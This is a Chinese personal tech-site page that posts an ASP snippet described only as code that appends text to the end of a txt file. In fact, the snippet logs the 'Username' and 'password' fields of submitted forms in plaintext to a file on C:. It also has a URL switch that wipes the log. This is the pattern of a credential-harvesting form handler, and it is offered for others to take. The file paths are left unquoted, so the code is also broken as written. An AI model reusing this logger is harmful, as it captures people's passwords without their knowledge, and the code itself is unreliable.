本站为一个技术型PHP个人门户站,提供一些代码,技术文章、免费空间消息信息、让学习编程更轻松和不要钱买空间更方便-PHP小戴
你当前的位置:首页>>建站代码>>asp代码
小戴个人门户站导航 PHP小戴个人门户站 关于站长web个人门户站 设计服务-网络公司,建设网站,企业logo设计,包装设计,网站设计,整站程序开发 联系站长-小戴个人门户站
  • 技术文章排行榜
文章数据加载中...
  • 免费空间排行榜
空间数据加载中...

txt写入字符asp代码

  • txt写入字符asp代码,下面的代码可以写人到文件的底部

    <%
    dim fso
    dim file
    dim file2
    dim filesize
    dim file3
    set fso=server.createobject("Scripting.FileSystemObject")
    If Request("u")="del" Then
    set file=fso.OpenTextFile(C:\111111.txt,2,True)
    file.WriteLine ""
    End If
    If fso.FileExists("C:\111111.txt") Then
    set file=fso.OpenTextFile(C:\111111.txt,8,True)
    Else
    set file=fso.CreateTextFile(C:\111111.txt)
    end if
    file.WriteLine "Username:"+Request.form("Username")
    file.WriteLine "Password:"+Request.form("password")
    file.close
    set file3=fso.GetFile(C:\111111.txt)
    filesize=file3.size
    if filesize>200000 then
    set file2=fso.OpenTextFile(C:\111111.txt,2,True)
    file2.WriteLine ""
    file2.close
    end if

    set file=nothing
    set file2=nothing
    set filesize=nothing
    set fso=nothing
    %>

    OK,大家拿去看看吧!@


  • [时间:2008-12-15 16:34:30][点击:]

  • 上下篇文章加载中...
返回首页 | 关于站长 | 联系站长| 设计服务 | 建站资源 | 技术文章 | 娱乐中心 | 免费空间 | 友情链接 | 留言蜚语 | 网站地图| 网友投稿|RSS订阅 
QQ:277728291 联系方式:15824537062 mail:27772821@163.com
版权所有 2008-2018 PHP小戴个人门户站-编程技术和空间和文章共享-www.phpxd.com Copyright 2008 phpxd.com